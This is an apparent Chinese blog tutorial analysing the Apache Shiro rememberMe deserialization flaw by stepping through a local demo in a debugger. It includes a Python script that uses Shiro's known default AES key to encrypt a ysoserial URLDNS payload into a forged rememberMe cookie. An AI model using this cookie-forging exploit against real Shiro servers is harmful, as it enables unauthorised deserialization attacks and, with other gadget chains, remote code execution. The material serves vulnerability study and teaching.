前言
讲了FastJson反序列化的原理和利用链,今天讲一下Shiro的反序列化利用,这个也是目前比较热门的。
原生态反序列化
我们先来复习一下原生态的反序列化,之前也是讲过的,打开我们写过的serialization_demo。代码也很简单,先是读取一个文件,接着对其进行反序列化,最后再一个main函数去调用这个方法。
![](https://i-blog.csdnimg.cn/direct/a0cf03719fc74f909bd0a235a71c54e4.png)
我们利用ysoserial这个工具生成一个dnslog利用链,写入到urldns.txt文件中。
![](https://i-blog.csdnimg.cn/direct/12d56885d09f4b1c931019355da0c903.png)
运行上面的代码,对urldns.txt文件进行反序列化,可以看到在dnslog平台有回显。
![](https://i-blog.csdnimg.cn/direct/5a970b4de26a469f998693e9a2035781.png)
shiro反序列化
现在开始说一下Shiro的反序列化,Shiro框架提供了记住密码的功能,cookie含有rememberMe字,⽤户登陆成功后会⽣成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。攻击者只要找到AES加密的密钥,就可以构造⼀个恶意对象,对其进⾏序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进⾏解密并且反序列化,最终造成反序列化漏洞。
网上找的一个Shiro demo,下载好就直接部署就行,具体如何部署就不说了,网上有。
![](https://i-blog.csdnimg.cn/direct/d8a4d7a9bfbf495ba02cd7655fb9bd3d.png)
登录抓包看一下,发现确实存在rememberMe字段,而且后面有一大堆值。
现在来分析一下,打开我们的login.jsp,可以看到是调用了include.jsp的。
![](https://i-blog.csdnimg.cn/direct/4390c968135b4d62a70ce198731d7453.png)
接着去打开include.jsp看看,这里是引用了org.apache.shiro.SecurityUtils这个类。
![](https://i-blog.csdnimg.cn/direct/94accf3821e4474ca422a5d725d07b87.png)
可以在相应的位置找到这个类,其实它就是一层一层的引用的。
![](https://i-blog.csdnimg.cn/direct/22eb8703a97d455c9e6d81c23206d406.png)
我们全局搜 rememberMeSuccessfulLogin,找到之后下个断点,来一步一步跟进看看是咋回事。
![](https://i-blog.csdnimg.cn/direct/5f0024377b1b4421a7acf9f69f8d561a.png)
如果你搜不到的话,来到Maven这里把这个包下载一下就行。
![](https://i-blog.csdnimg.cn/direct/1162cb7b826c4a90ad69ad105dd6fe11.png)
接着以调试模式运行Tomcat,此时我们在登录页面进行登录,就可以看到已经代码断下来了。
![](https://i-blog.csdnimg.cn/direct/86b29990cf3a462cab51e1410ad28fce.png)
开始步入,来到这里可以看到进行了一个判断,如果RememberMeManager的值不为空就进入,也就是说我们进行登录要勾选 "记住我" 才会触发判断。
![](https://i-blog.csdnimg.cn/direct/0c2d7927d7f3477c8db4b9cbe50e0a24.png)
我们一直步入,因为前面都是一些代码逻辑,没啥看的,代码到这里就出现了序列化,principals 的值就是我们的用户名 root,这里对 root 进行了序列化操作。还对 getCipherService() 进行了判断,如果不为空就进行加密,从字面来看这个方法应该是获取密码的。
![](https://i-blog.csdnimg.cn/direct/2c665dff4c814469806b42880a8f1bda.png)
接着往下跟进,这里调用了getSerializer().serialize() 进行序列化。
![](https://i-blog.csdnimg.cn/direct/dc05e83e4d5c445485ef4271dfe539d0.png)
跟进到这个serialize 方法里面,里面的代码是不是和我们上面原生态的序列化差不多,这里调用了 ObjectOutputStream()这个类,并且还调用了这个类里面的 writeObject() 方法对 o 进行序列化,而 o 则是我们的用户名 root 。
![](https://i-blog.csdnimg.cn/direct/51677bf777d94c6faa29779cb91eb3d1.png)
这个 root是我们可控的,那么就基本满足了反序列漏洞的条件了。
接着再继续跟进看看,来到了加密这里,我们要知道是啥加密类型才能进一步的利用。
![](https://i-blog.csdnimg.cn/direct/d76bfbc852d6465eb47e0534b4753ec8.png)
下面参数这里有个key。
![](https://i-blog.csdnimg.cn/direct/b91288b0990a4dfcbbeab27d26ed0134.png)
展开参数 this ,发现modeName的值是CBC,那么可以猜测这是AES-CBC加密方式。
![](https://i-blog.csdnimg.cn/direct/f80f37176e044b3ba6bf051611d81084.png)
这个transformationString 就更进一步证实了我们的猜想。
![](https://i-blog.csdnimg.cn/direct/a311b066d44246a091a0a6b7c0cb2d5f.png)
跟到现在基本就可以确定。
发送数据的时候:数据--->序列化--->aes加密--->base64编码
接受数据的时候:base64解码--->aes解密--->反序列化--->数据
base64是可逆的,反序列的数据是可控的,那么我们现在只需要知道AES的Key、iv、mode,是不是就能构造出恶意的 RememberMe 的值了。
上面跟踪的时候我们获取到了Key和 iv 这两个值,但这里只是Ascii码,直接叫AI写个脚本把Ascii码变成base64字符串就行。其上上面说的先AES加密再base64加密,其实是不严谨的,base64只是编码了我们的Key,并没有对AES加密之后的数据进行base64编码。
![](https://i-blog.csdnimg.cn/direct/ddcfdebfc2f44d9892d9df21ad563812.png)
我们用ysoserial 生成一个dnslog利用链。
![](https://i-blog.csdnimg.cn/direct/f01afd60d5394639b616815c3088a2fe.png)
再用下面这个脚本对我们的链条进行aes加密,Key是我们上面转换过来的。
from Crypto.Cipher import AES
import uuid
import base64
//若提示ModuleNotFoundError: No module named 'Crypto'
//需安装pycryptodome库:pip3 install pycryptodome
def convert_bin(file):
with open(file, 'rb') as f:
return f.read()
def AES_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()
return ciphertext
if __name__ == "__main__":
data = convert_bin("urldns.txt")
print(AES_enc(data))
生成加密之后的数据。
![](https://i-blog.csdnimg.cn/direct/298936246c5240b599d3d09f019205d0.png)
替换掉原本的值进行发送。
![](https://i-blog.csdnimg.cn/direct/d35f62adcad14134b97b2e8eb446d478.png)
成功解析。
![](https://i-blog.csdnimg.cn/direct/3fae50ce222c474290d24e9b3393c796.png)
上面的DNS链条只能访问一下dnslog,如果想要执行命令的话,要用到CC链才行,这个下次详细的讲。
总结
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。